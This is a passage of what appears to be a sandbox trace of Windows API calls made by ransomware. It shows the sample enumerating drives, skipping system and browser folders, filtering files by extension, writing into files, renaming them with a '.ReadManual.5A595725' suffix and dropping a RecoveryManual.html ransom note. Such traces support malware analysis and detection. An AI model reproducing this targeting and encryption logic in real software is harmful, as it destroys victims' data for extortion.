dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0250.045] lstrcpyW (in: lpString1=0x6ab922, lpString2="VisiorWW.msi" | out: lpString1="VisiorWW.msi") returned="VisiorWW.msi" [0250.045] lstrcmpiW (lpString1="VisiorWW.msi", lpString2="RecoveryManual.html") returned 1 [0250.045] StrStrIW (lpFirst="VisiorWW.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.045] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0250.045] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0250.045] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0250.046] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0250.046] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0250.046] lstrcpyW (in: lpString1=0x6ab922, lpString2="VisiorWW.xml" | out: lpString1="VisiorWW.xml") returned="VisiorWW.xml" [0250.046] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="RecoveryManual.html") returned 1 [0250.046] StrStrIW (lpFirst="VisiorWW.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.046] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0250.046] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0250.046] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0250.046] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0250.046] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0250.046] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0250.046] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0250.046] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0250.046] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0250.046] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0250.046] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0250.046] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0250.046] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0250.046] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0250.046] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" [0250.046] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.ReadManual.5A595725" [0250.046] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.ReadManual.5A595725") returned 99 [0250.046] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=37071514568) returned 1 [0250.046] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0250.047] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0250.047] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=8723) returned 1 [0250.047] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2213, lpName=0x0) returned 0x194 [0250.047] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0250.048] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.048] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0250.051] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0250.051] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2213) returned 0x2f0000 [0250.051] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.052] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=37072033391) returned 1 [0250.052] CloseHandle (hObject=0x194) returned 1 [0250.052] SetSecurityInfo () returned 0x57 [0250.052] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0250.052] CloseHandle (hObject=0x190) returned 1 [0250.053] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0250.053] FindClose (in: hFindFile=0x663238 | out: hFindFile=0x663238) returned 1 [0250.053] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0250.053] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0250.053] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0250.054] FindClose (in: hFindFile=0x688c28 | out: hFindFile=0x688c28) returned 1 [0250.054] FindNextFileW (in: hFindFile=0x667650, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xaece4da0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0250.054] lstrcpyW (in: lpString1=0x6ab8aa, lpString2="pagefile.sys" | out: lpString1="pagefile.sys") returned="pagefile.sys" [0250.054] lstrcmpiW (lpString1="pagefile.sys", lpString2="RecoveryManual.html") returned -1 [0250.054] StrStrIW (lpFirst="pagefile.sys", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.054] StrCmpIW (psz1="sys", psz2="exe") returned 1 [0250.054] StrCmpIW (psz1="sys", psz2="dll") returned 1 [0250.054] StrCmpIW (psz1="sys", psz2="sys") returned 0 [0250.054] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\" | out: lpString1="\\\\?\\c:\\") returned="\\\\?\\c:\\" [0250.054] lstrcatW (in: lpString1="\\\\?\\c:\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\RecoveryManual.html") returned="\\\\?\\c:\\RecoveryManual.html" [0250.054] CreateFileW (lpFileName="\\\\?\\c:\\RecoveryManual.html" (normalized: "c:\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0250.054] WriteFile (in: hFile=0x14c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434ff10, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434ff10*=0xae9, lpOverlapped=0x0) returned 1 [0250.055] CloseHandle (hObject=0x14c) returned 1 [0250.055] FindNextFileW (in: hFindFile=0x667650, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0250.055] lstrcpyW (in: lpString1=0x69b8aa, lpString2="PerfLogs" | out: lpString1="PerfLogs") returned="PerfLogs" [0250.056] lstrcatW (in: lpString1="PerfLogs", lpString2="\\" | out: lpString1="PerfLogs\\") returned="PerfLogs\\" [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch=":\\Windows\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch=":\\WINNT") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.056] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.056] lstrlenW (lpString="\\\\?\\c:\\PerfLogs\\") returned 16 [0250.056] FindFirstFileW (in: lpFileName="\\\\?\\c:\\PerfLogs\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x663238 [0250.057] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\PerfLogs\\" | out: lpString1="\\\\?\\c:\\PerfLogs\\") returned="\\\\?\\c:\\PerfLogs\\" [0250.057] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.057] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0250.057] lstrcpyW (in: lpString1=0x69b8bc, lpString2="Admin" | out: lpString1="Admin") returned="Admin" [0250.057] lstrcatW (in: lpString1="Admin", lpString2="\\" | out: lpString1="Admin\\") returned="Admin\\" [0250.057] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch=":\\Windows\\") returned 0x0 [0250.057] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.057] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.057] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.057] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch=":\\WINNT") returned 0x0 [0250.057] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.057] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.057] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.057] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.057] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.057] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.057] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.057] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.057] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.057] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.058] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.058] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.058] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.058] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.058] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.058] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.058] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.058] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.058] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.058] StrStrIW (lpFirst="\\\\?\\c:\\PerfLogs\\Admin\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.058] lstrlenW (lpString="\\\\?\\c:\\PerfLogs\\Admin\\") returned 22 [0250.058] FindFirstFileW (in: lpFileName="\\\\?\\c:\\PerfLogs\\Admin\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x688c28 [0250.058] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\PerfLogs\\Admin\\" | out: lpString1="\\\\?\\c:\\PerfLogs\\Admin\\") returned="\\\\?\\c:\\PerfLogs\\Admin\\" [0250.058] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.058] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0250.058] FindClose (in: hFindFile=0x688c28 | out: hFindFile=0x688c28) returned 1 [0250.058] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0250.058] FindClose (in: hFindFile=0x663238 | out: hFindFile=0x663238) returned 1 [0250.058] FindNextFileW (in: hFindFile=0x667650, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe4e56900, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe4e56900, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0250.058] lstrcpyW (in: lpString1=0x69b8aa, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files" [0250.059] lstrcatW (in: lpString1="Program Files", lpString2="\\" | out: lpString1="Program Files\\") returned="Program Files\\" [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch=":\\Windows\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch=":\\WINNT") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.059] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.059] lstrlenW (lpString="\\\\?\\c:\\Program Files\\") returned 21 [0250.059] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe4e56900, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe4e56900, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x663238 [0250.060] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\" | out: lpString1="\\\\?\\c:\\Program Files\\") returned="\\\\?\\c:\\Program Files\\" [0250.060] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe4e56900, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe4e56900, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.060] FindNextFileW (in: hFindFile=0x663238, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, 